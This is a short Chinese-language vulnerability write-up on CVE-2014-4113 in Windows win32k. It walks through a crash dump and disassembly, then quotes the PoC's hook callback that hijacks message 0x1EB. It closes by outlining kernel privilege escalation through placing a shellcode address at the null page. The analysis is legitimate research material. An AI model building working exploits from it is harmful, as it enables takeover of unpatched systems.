CVE-2014-4113简要分析-零页引用异常

简要分析 直接跑一波poc

kd> r eax=fffffe0d ebx=000001ed ecx=927020e4 edx=91bd3b78 esi=fffffffb edi=fd2c4640 eip=925a93fa esp=91bd3a3c ebp=91bd3a64 iopl=0nv up ei ng nz na pe nc cs=0008ss=0010ds=0023es=0023fs=0030gs=0000efl=00010286 win32k!xxxSendMessageTimeout+0xb3: 925a93fa 3b7e08cmpedi,dword ptr [esi+8] ds:0023:00000003=????????kd> kb # ChildEBP RetAddrArgs to Child 00 942f9a64 925a95c5 fffffffb 000001ed 002ef85c win32k!xxxSendMessageTimeout+0xb3 01 942f9a8c 926292fb fffffffb 000001ed 002ef85c win32k!xxxSendMessage+0x28 02 942f9aec 92628c1f 942f9b0c 00000000 002ef85c win32k!xxxHandleMenuMessages+0x582 03 942f9b38 9262f8f1 fd2e6bf0 9270f580 00000000 win32k!xxxMNLoop+0x2c6 04 942f9ba0 9262f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd 05 942f9c14 83e591ea 0015018b 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3 06 942f9c14 773570b4 0015018b 00000000 00000000 nt!KiFastCallEntry+0x12a

显然这里的esi是不合法的,因此我们需要找到它是如何产生的。向上可以追溯到一个基本块中
.text:BF938DF5 movesi, [ebp+arg_4] .text:BF938DF8 ordword ptr [esi+10h], 0FFFFFFFFh .text:BF938DFC movsxeax, bx .text:BF938DFF mov[esi+8], eax .text:BF938E02 moveax, ebx .text:BF938E04 shreax, 10h .text:BF938E07 cwde .text:BF938E08 mov[esi+0Ch], eax .text:BF938E0B pushebx; int .text:BF938E0C leaeax, [ebp+UnicodeString] .text:BF938E0F pusheax; int .text:BF938E10 pushedi; UnicodeString .text:BF938E11 call_xxxMNFindWindowFromPoint@12 ; 返回指针 .text:BF938E16 movebx, eax .text:BF938E18 pushebx .text:BF938E19 call_IsMFMWFPWindow@4 ; IsMFMWFPWindow(x) .text:BF938E1E mov[ebp+arg_4], eax .text:BF938E21 testeax, eax .text:BF938E23 jzshort loc_BF938E43

xxxMNFindWindowFromPoint返回的就是之后的值,在这个基本块之后,还将该返回值与0,-1,-5做了比较,可以推测负数可能是错误码,继续深入看xxxMNFindWindowFromPoint内部是如何产生返回值的,这里通过调试找到返回-5的执行路径
CVE-2014-4113简要分析-零页引用异常
文章图片

走的是左边黄色部分,其中第一个块如下
.text:BF9395B9 movecx, _gptiCurrent .text:BF9395BF addecx, 0B4h .text:BF9395C5 movedx, [ecx] .text:BF9395C7 mov[ebp+var_18], edx .text:BF9395CA leaedx, [ebp+var_18] .text:BF9395CD mov[ecx], edx .text:BF9395CF mov[ebp+var_14], eax .text:BF9395D2 incdword ptr [eax+4] .text:BF9395D5 moveax, [ebp+arg_8] .text:BF9395D8 movzxecx, word ptr [ebp+arg_8] .text:BF9395DC shreax, 10h .text:BF9395DF shleax, 10h .text:BF9395E2 oreax, ecx .text:BF9395E4 pusheax; Src .text:BF9395E5 leaeax, [ebp+UnicodeString] .text:BF9395E8 pusheax; UnicodeString .text:BF9395E9 push1EBh; MbString .text:BF9395EE pushdword ptr [edi+0Ch] ; P .text:BF9395F1 call_xxxSendMessage@16 ; xxxSendMessage(x,x,x,x) .text:BF9395F6 movesi, eax .text:BF9395F8 call_ThreadUnlock1@0 ; ThreadUnlock1() .text:BF9395FD pushesi .text:BF9395FE call_IsMFMWFPWindow@4 ; IsMFMWFPWindow(x) .text:BF939603 testeax, eax .text:BF939605 jzshort loc_BF939612

从这条执行路径来看,xxxMNFindWindowFromPoint的返回值就是xxxSendMessage的返回值,即此处xxxSendMessage返回0xfffffffb,可以注意到的是,这里的xxxSendMessage发送的消息代码为0x1EB,这正是我们poc中hook的消息代码
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { printf("[+] Callback one called.\n"); if (*(DWORD*)(lParam + 8) == 0x1EB) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo); } } return CallNextHookEx(0, code, wParam, lParam); }

所以在此处控制流会被我们的ring3代码劫持,转而调用HookCallbackTwo,它会调用EndMenu来终止一个Menu,这导致了xxxSendMessage失败并返回0xfffffffb。
利用思路 给出的poc离最终利用已经很接近了,在xxxSendMessageTimeout中有如下基本块
.text:BF8B94E8 loc_BF8B94E8: .text:BF8B94E8 push[ebp+Src] .text:BF8B94EB pushdword ptr [ebp+UnicodeString] .text:BF8B94EE pushebx .text:BF8B94EF pushesi .text:BF8B94F0 calldword ptr [esi+60h] .text:BF8B94F3 movecx, [ebp+arg_18] .text:BF8B94F6 testecx, ecx .text:BF8B94F8 jzloc_BF8B9591

【CVE-2014-4113简要分析-零页引用异常】其中调用了esi+0x60,而esi为-5时,这里为0x5b,所以这里本质上转换为了空指针异常,将shellcode地址写入0x5b地址处即可实现利用。

    推荐阅读